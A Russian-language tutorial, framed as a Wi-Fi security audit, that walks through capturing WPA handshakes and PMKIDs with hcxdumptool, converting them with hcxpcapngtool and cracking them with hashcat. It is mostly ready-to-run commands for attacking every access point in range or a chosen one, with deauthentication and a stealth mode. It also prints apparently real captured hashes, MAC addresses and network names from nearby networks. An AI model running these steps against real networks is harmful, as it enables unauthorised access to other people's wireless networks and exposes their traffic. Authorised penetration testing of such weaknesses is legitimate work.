Аудит безопасности Wi-Fi с Hashcat и hcxdumptool


Оглавление

1. Новая инструкция по аудиту безопасности Wi-Fi

2. Актуальные инструменты для аудита безопасности Wi-Fi

3. Основные команды при аудите безопасности Wi-Fi сетей

4. Остановка процессов, которые могут помешать сбору рукопожатий и PMKID

5. Работа с сетевыми интерфейсами

6. Сбор рукопожатий и PMKID

6.1 Атака всех ТД

6.2 Атака определённой ТД

7. Конвертация хеша

8. Взлом хеша


Начало смотрите здесь: Повышение эффективности аудита безопасности Wi-Fi: новые инструменты, хеш и техники

Новая инструкция по аудиту безопасности Wi-Fi

Захват рукопожатий (4-Way Handshake) и PMKID (смотрите «Взлом Wi-Fi без пользователей») остаются самыми универсальными методами узнать пароль от Wi-Fi, работающими для всех Точек Доступа. Хотя для некоторых Точек Доступа имеются более быстрые методы, эксплуатирующие уязвимости, либо использующие накопленную базу данных уязвимых роутеров («Работающие способы взлома Wi-Fi»).

Рассмотрим современную атакую по захвату рукопожатий и PMKID (с помощью инструмента hcxdumptool), конвертацию в новый вид хеша (с помощью hcxpcapngtool) и его взлом на максимальных скоростях видеокарты (с помощью Hashcat).

Актуальные инструменты для аудита безопасности Wi-Fi

В этой инструкции используются следующие инструменты:

Если какая-либо из этих программ не установлены в вашей системе, то перейдите на карточки этих программ по ссылкам выше и следуйте инструкциям по установке для вашего дистрибутива.

Основные команды при аудите безопасности Wi-Fi сетей

Здесь собраны самые важные команды — на тот случай, если у вас нет времени читать статью полностью.

Имена сетевых интерфейсов:

hcxdumptool -I

Типичная команда для захвата данных:

hcxdumptool -i ИНТЕРФЕЙС -o ФАЙЛ.pcapng --active_beacon --enable_status=15

Захваченные беспроводные кадры сохранены в файл dumpfile.pcapng. Конвертация этого файла в хеши:

hcxpcapngtool -o hash.hc22000 -E wordlist dumpfile.pcapng

Будет создан файл hash.hc22000 с хешами.


Для просмотра информации о хешах используйте утилиту hcxhashtool:

hcxhashtool --info=stdout -i hash.hc22000

Атака по словарю:

hashcat -m 22000 -a 0 hash.hc22000 СЛОВАРЬ.txt

Пример атаки по маске:

hashcat -m 22000 -a 3 hash.hc22000 ?d?d?d?d?d?d?d?d

Остановка процессов, которые могут помешать сбору рукопожатий и PMKID

Аудит безопасности Wi-Fi сетей можно разделить на:

  • Онлайн атаку, когда захватываются данные, необходимые для расшифровки пароля беспроводной сети. В этот период нужно быть недалеко от атакуемой Точки Доступа, при этом она должна работатать. То есть как бы «онлайн»
  • и Офлайн атаку, когда выполняется брут-форс пароля. В это время можно быть где угодно, а Точка Доступа может быть даже отключена — на результат атаки это уже не скажется

На время онлайн стадии настоятельно рекомендуется остановить службы, которые могут вмешиваться в работу сетевых интерфейсов:

sudo systemctl stop NetworkManager
sudo systemctl stop wpa_supplicant

После завершения сбора рукопожатий и PMKID вы можете вновь запустить NetworkManager (wpa_supplicant будет запущен автоматически):

sudo systemctl start NetworkManager

Работа с сетевыми интерфейсами

Утилита hcxdumptool является универсальной программой для просмотра статуса и управления сетевыми интерфейсами, а также для выполнения беспроводных атак.

Чтобы вывести список беспроводных интерфейсов используйте команду:

hcxdumptool -I

Пример вывода (да, я собрал коллекцию из адаптеров на различных чипсетах: Realtek, Atheros, Intel и Mediatek):

wlan interfaces:
c0b6f9daaf3e wlo1 (iwlwifi)
00c0ca96cfcb wlp0s20f0u2 (ath9k_htc) warning:spoofed MAC e20def45c3f8 detected
00c0ca900d9f wlp0s20f0u1 (rt2800usb) warning:spoofed MAC e2b48830044d detected
00c0cab026eb wlp0s20f0u5 (mt76x2u) warning:spoofed MAC 72fe786e01f0 detected

Аналогичный результат вы можете получить командой:

iw dev

С помощью команды вида

sudo hcxdumptool -i ИНТЕРФЕЙС -C

можно просмотреть поддерживаемые беспроводным адаптером каналы.

Например:

sudo hcxdumptool -i wlp0s20f0u1 -C


Аналогичную информацию вы можете вывести командой

iw list

Опция --check_driver запускает несколько тестов, чтобы убедиться, что драйвер поддерживает все необходимые системные вызовы ioctl(). Драйвер должен поддерживать режим монитора и полное внедрение пакетов, иначе hcxdumptool не будет работать должным образом:

sudo hcxdumptool -i ИНТЕРФЕЙС --check_driver

Например:

sudo hcxdumptool -i wlp0s20f0u1 --check_driver

Ключевыми в выводе являются строки:

driver tests passed...
all required ioctl() system calls are supported by driver

Они означают, что данный беспроводной адаптер в полной мере подходит для выполнения беспроводных атак.

С помощью опции --check_injection вы можете запустить тест антенны и тест беспроводной инъекции пакетов, чтобы определить, поддерживает ли драйвер полное внедрение пакетов.

Результаты этого теста являются нестабильными, поскольку зависят от ряда факторов: близости к Точкам Доступа и качеству сигнала, который, в свою очередь, может меняться от тех или иных помех.

Ещё один способ проверить, работает ли инъекция пакетов, это опция --do_rcascan, программа выведет список Точек Доступа в пределах досягаемости и INJECTION-RATIO. Для получения результатов рекомендуется запустить программу хотя бы на 13 * 5 секунд (13 каналов, по умолчанию время прослушивания каждого канала 5 секунд):

sudo hcxdumptool -i ИНТЕРФЕЙС --do_rcascan

Например:

sudo hcxdumptool -i wlp0s20f0u1 --do_rcascan

Обратите внимание на шапку таблицы:

 BSSID        FREQ   CH RSSI BEACON RESPONSE ESSID  SCAN-FREQ: 2432 INJECTION-RATIO:  30% [18:59:25]

В ней имеется значение INJECTION-RATIO.

Если ТД в пределах вашей досягаемости, то можно приступить к атаке.


Если использование ioctl() по каким-либо причинам невозможно с вашим беспроводным адаптером, то вы можете перевести его в режим монитора обычным способом (автор hcxdumptool рекомендует это только как крайний вариант):

sudo ip link set <ИНТЕРФЕЙС> down
sudo iw <ИНТЕРФЕЙС> set monitor control
sudo ip link set <ИНТЕРФЕЙС> up

Сбор рукопожатий и PMKID

Атака всех ТД

Типичная команда для захвата данных:

hcxdumptool -i ИНТЕРФЕЙС -o ФАЙЛ.pcapng --active_beacon --enable_status=15

В этой команде ФАЙЛ.pcapng — файл, в который будут сохраняться захваченные беспроводные фреймы.

Пример моей команды:

sudo hcxdumptool -i wlp0s20f0u2 -o dumpfile.pcapng --active_beacon --enable_status=15

По умолчанию время переключения между каналами составляет 5 секунд. Это больше подходит если вы передвигаетесь, то есть для мобильных атак. Если вы размещены стационарно и никуда не торопитесь, то время работы на каждом канале можно увеличить, например, до двух минут (опция -t СЕКУНДЫ):

sudo hcxdumptool -i wlp0s20f0u2 -o dumpfile.pcapng --active_beacon --enable_status=15 -t 120

Если вы не хотите, чтобы ваш беспроводной адаптер излучал какие-либо фреймы, то укажите опцию --silent. Это отключит атаку Деаутентификация, атаку на клиентов без ТД, но сделает вас невидимым (для устройств мониторинга беспроводной активности).

По умолчанию hcxdumptool автоматически выбирает каналы, на которых ведётся прослушивание и захват данных. С помощью опции -c ЦИФРА вы можете выбрать установить частоту (2437,2462,5600,…) или канал (1,2,3, …). По умолчанию: автоматическая частота/автоматический диапазон. Максимальное количество записей: 255. Значения в пределах 0-1000 трактуются как каналы, а значения >1000 трактуется как частота в MHz

На 5GHz и 6GHz рекомендуется использовать частоту вместо номеров канала поскольку номера каналов здесь не уникальны. Стандартные каналы 802.11 (зависят от устройства, драйвера и world regulatory domain): https://en.wikipedia.org/wiki/List_of_WLAN_channels

С помощью опции -s ЦИФРА вы можете установить предопределённый список сканирования, имеются следующие списки:

  • 0 = автоматическая частота/автоматический диапазон (по умолчанию)
  • 1 = 1,6,11,3,5,1,6,11,2,4,1,6,11,7,9,1,6,11,8,10,1,6,11,12,13 (оптимизированный диапазон 2.4GHz)
  • 2 = 1,2,3,4,5,6,7,8,9,10,11,12,13 (стандартный диапазон 2.4 GHz)
  • 3 = 36,40,44,48,52,56,60,64,100,104,108,112,116,120,124,128,132,136,140,144,149,153,157,161,165 (стандартный диапазон 5GHz)
  • 4 = 1,2,3,4,5,6,7,8,9,10,11,12,13,36,40,44,48,52,56,60,64,100,104,108,112,116,120,124,128,132,136,140,144,149,153,157,161,165 (стандартный диапазон 2.4GHz/5GHz)

Если вы хотите сохранить координаты беспроводных Точек Доступа/трек вашего передвижения, то используйте опции:

--use_gps_device=УСТРОЙСТВО

использовать устройство GPS, такие как /dev/ttyACM0, /dev/ttyUSB0, … (стандарт NMEA 0183, поля $GPGGA $GPGGA)

--use_gpsd

использовать устройство GPSD (стандарт NMEA 0183, поля $GPGGA $GPGGA)

--nmea=ФАЙЛ

сохранить трек в файл. Формат: NMEA 0183 $GPGGA, $GPRMC, $GPWPL

Смотрите также: Как использовать телефон на Android в качестве GPS сенсора в Linux

Пример журнала работы программы:

Расшифровку терминов вы найдёте в разделе «Используемые сокращения» на странице программы: https://kali.tools/?p=4197.

Атака определённой ТД

Для атаки определённой Точки Доступа, подразумевая, что вы знаете её название (ESSID) необходимо знать канал, на котором она работает и её MAC адрес (BSSID). Эти сведения можно собрать запустив hcxdumptool с опцией --do_rcascan:

sudo hcxdumptool -i wlp0s20f0u2 --do_rcascan

Предположим, меня интересует точка доступа с именем сети RT-728005:

BSSID        FREQ   CH RSSI BEACON RESPONSE ESSID  SCAN-FREQ: 2422 INJECTION-RATIO:  27% [12:51:31]
-----------------------------------------------------------------------------------------------------
…
…
 c891f9c7eff6 2412    1  113     47       34 RT-728005
…
…

К команде hcxdumptool необходимо добавить опции:

  • --filtermode=КАНАЛ
  • --filterlist_ap=MAC_ИЛИ_ФАЙЛ_С_MAC

К примеру, интересующая меня ТД RT-728005 работает на первом канале и имеет BSSID c891f9c7eff6, тогда команда следующая:

sudo hcxdumptool -i wlp0s20f0u2 -o RT-728005.pcapng --active_beacon --enable_status=15 --filtermode=2 --filterlist_ap=c891f9c7eff6 -c 1

Захваченные беспроводные кадры сохранены в файл RT-728005.pcapng. Конвертация этого файла в хеш:

hcxpcapngtool -o RT-728005.hc22000 -E wordlist RT-728005.pcapng

Просмотр информации о хеше:

hcxhashtool --info=stdout -i RT-728005.hc22000

На этом заканчивается онлайн стадия. Теперь можно вновь запустить Network Manager:

sudo systemctl start NetworkManager

Конвертация хеша

Для конвертации хеша используйте команду вида:

hcxpcapngtool -o ХЕШ.hc22000 -E СЛОВАРЬ ФАЙЛ_ЗАХВАТА.pcapng

В этой команде:

  • ХЕШ.hc22000 — файл, куда будут помещены все конвертированные хеши
  • СЛОВАРЬ — список строк, включающий в себя имена увиденных ТД (ESSID), а также строки, переданные в открытом виде — иногда здесь можно увидеть пароль от Wi-Fi, некоторые особенно неудачно сконструированные устройства могут передавать его в открытом виде
  • ФАЙЛ_ЗАХВАТА.pcapng — файл с беспроводными кадрами, которые мы захватили на предыдущем шаге

Пример команды:

hcxpcapngtool -o hash.hc22000 -E wordlist dumpfile.pcapng

Будет создан файл hash.hc22000 с хешами и выведена статика по захваченным данным:

Пример хешей:

WPA*02*cf8d06ec4aeba37f5288e65ad802f5d3*10ae604c41e6*d4124342bd39*54502d4c696e6b5f303132365f455854*dbb9bae2cb780756c822938f252ac6c231b8246cd85e77fdcc985ee97ed35de8*0103007502010a0000000000000000f53c8d7a67dcf998fcc7e71de2b8fc076845c7fce4b04c7f1a52a67f03c2970bfc34000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac020100000fac040100000fac020000*10
WPA*02*db391bf2742b8f862aa0656f4a3ab063*10ae604c41e7*b4fbe33717a0*616b3834*dbb9bae2cb780756c822938f252ac6c231b8246cd85e77fdcc985ee97ed35de8*0103007502010a0000000000000000f53c54c7c5c35fead373561cc26664649e6f6d3664765abdba3e1396442e3dbf7043000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac020100000fac040100000fac020000*10
WPA*02*3d40af734bfaaaeb4649e0eab240a39e*10ae604c41e8*ee48b8e81589*54502d4c696e6b5f303132365f3547*dbb9bae2cb780756c822938f252ac6c231b8246cd85e77fdcc985ee97ed35de8*0103007502010a0000000000000000f53c93bb8236f147d14d1f562b4f59cf7b050dc4b76f6faa5fdd0aa9cc233b6b06b5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac020100000fac040100000fac020000*10
WPA*02*efb03520bbd51818ff1bedd948633d0d*1c3bf3110126*28565a0ce1b1*54502d4c696e6b5f30313236*dbb9bae2cb780756c822938f252ac6c231b8246cd85e77fdcc985ee97ed35de8*0103007502010a0000000000000000f53c684d1db707cb77070f2f82f2e7dcc3d13588651a03283cd42e5ceab8dcc4ab57000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*10
WPA*02*4dd975abac76732237967a7751880a27*52ff20513c4c*b4fbe33717a0*616b3834*dbb9bae2cb780756c822938f252ac6c231b8246cd85e77fdcc985ee97ed35de8*0103007502010a0000000000000000f53cab25d6ef96c3a0295c2849e02799b777f6aa88a0169d645547f4c72862d7092b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*10
WPA*02*f8021dd2fbac283ed9abbae33d507636*68ff7b2b33d0*420a96ef1527*54502d4c696e6b5f333343455f3547*dbb9bae2cb780756c822938f252ac6c231b8246cd85e77fdcc985ee97ed35de8*0203007502010a0010000000000000f53ceeaa8e20f3d31a31ed31b99431c72fff3b8a8b4568bdf09bc68b952742a484c9000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020c00*10
WPA*02*87ca0740cc9115d80092b4481ccd0f7f*68ff7b2b33d0*5e02e859bc68*54502d4c696e6b5f333343455f3547*71159d9a8e714aabb36f449f603bcc3a5b1d754c5ee756b314e4ee8e475e31fa*0103007502010a001000000000000000010335e9a1c1859746102aa540f063c6d2843ac8b6334b23aab61a1441564d4448000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020c00*02
WPA*02*2b25289c5d103de4455c605185f16799*68ff7b2b33d0*6e4138786697*54502d4c696e6b5f333343455f3547*dbb9bae2cb780756c822938f252ac6c231b8246cd85e77fdcc985ee97ed35de8*0103007502010a0000000000000000f53c0a63db353cb974e01b619ccb5a2505ed25df29630f9dab7ff09a6e7579095024000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac02ac24*10
WPA*01*472dca0f8d8fddc252c3eb15f8fe77ab*8c10d4c712b6*b0febd84cfaa*526f7374656c65636f6d5f433731324236***
WPA*01*784d7491048ba9d3fa68f64e294453cf*b09575bddc88*b0febd84cfaa*54502d4c696e6b5f444338365f3547***
WPA*01*b07fec80cc50c50aeddf66d599d24f2b*cc32e5b688f2*b0febd84cfaa*54502d4c696e6b5f383846305f3547***
WPA*01*8037d5a102f36040899b8c66f440c44b*e8018d3f4418*b0febd84cfaa*66685f336634343138***
WPA*02*2c68c0106fca98afb4ced71b9fc9d9c9*e848b8e81588*d4124342bd39*54502d4c696e6b5f303132365f455854*a736810c5a6dffb7317c1c88ca16afe6572762f186674e71879bcbb0c53e820b*0103007502010a00000000000000000001fbf958785389e5a6d68fd7446e2a0f4a858632bf4d103b73b66d6cc459622c0b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac040100000fac040100000fac020000*02

Структура хешей следующая:

ПРОТОКОЛ*ТИП*PMKID/MIC*MACAP*MACCLIENT*ESSID*ANONCE*EAPOL*MESSAGEPAIR

Где:

  • ПРОТОКОЛ = Всегда строка "WPA"
  • ТИП = 01 для PMKID, 02 для EAPOL
  • PMKID/MIC = PMKID если TYPE=01, MIC если TYPE=02
  • MACAP = MAC Точки Доступа
  • MACCLIENT = MAC Клиента
  • ESSID = имя сети (ESSID) в HEX
  • ANONCE = ANONCE
  • EAPOL = EAPOL (SNONCE здесь)
  • MESSAGEPAIR = битовая маска:
  • 0: MP info (https://hashcat.net/wiki/doku.php?id=hccapx)
  • 1: MP info (https://hashcat.net/wiki/doku.php?id=hccapx)
  • 2: MP info (https://hashcat.net/wiki/doku.php?id=hccapx)
  • 3: x (не используется)
  • 4: атака ap-less (установлено на 1) — нет необходимости в nonce-error-corrections
  • 5: LE router detected (установлено на 1) — nonce-error-corrections необходимы только для LE
  • 6: BE router detected (установлено на 1) - nonce-error-corrections необходимы только для BE
  • 7: not replaycount checked (set to 1) - replaycount не отмечен, nonce-error-corrections определённо необходим

Для просмотра информации о хешах используйте утилиту hcxhashtool:

hcxhashtool --info=stdout -i ФАЙЛ.ХЕШЕЙ

Например:

hcxhashtool --info=stdout -i hash.hc22000

Будет выведен список хешей и их характеристик.

У hcxhashtool имеется ряд фильтров, самыми полезными из них являются:

--essid=<ESSID>              : фильтровать по ESSID
--essid-part=ЧАСТЬ ESSID : фильтровать по части ESSID
--mac-skiplist=ФАЙЛ        : исключить по MAC из файла
                               формат: 001122334455, 00:11:22:33:44:55, 00-11-22-33-44-55 (hex)

К примеру, следующая команда выведет информацию только о ТД с именем TP-Link_0126

hcxhashtool --info=stdout -i hash.hc22000 --essid=TP-Link_0126

Если вы хотите извлечь один хеш, либо исключить определённые хеши, то используйте фильтр (приведённый выше или из полного списка https://kali.tools/?p=4205#hcxhashtool опций), а также опцию -o, после которой укажите файл, в которой должны быть сохранены указанные хеши:

hcxhashtool -i hash.hc22000 --essid=ak84 -o ak84.hc22000

Если вы хотите, чтобы присутствовало только по одному хешу для каждой Точки Доступа, то используйте следующую конструкцию:

cat hash.hc22000 | sort -t "*" -k 6,6 -u > hash.hc22000.uniq
hcxhashtool --info=stdout -i hash.hc22000.uniq

Взлом хеша

Пример запуска атаки по словарю, хеши сохранены в файл hash.hc22000.

Скачиваем словарь:

wget https://wpa-sec.stanev.org/dict/cracked.txt.gz

Запускаем брут-форс:

hashcat -m 22000 -a 0 hash.hc22000 cracked.txt.gz

Пример атаки по маске:

hashcat -m 22000 -a 3 hash.hc22000 ?d?d?d?d?d?d?d?d

Опции, которые могут пригодиться:

  • --hwmon-temp-abort=100
  • -d 1

Примеры моих реальных команд:

hashcat --hwmon-temp-abort=100 -a 0 -m 22000 -d 1 RT-728005.hash rockyou_cleaned.txt
hashcat --hwmon-temp-abort=100 -a 3 -m 22000 -d 1 RT-728005.hash ?d?d?d?d?d?d?d?d

Рекомендуется Вам:

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *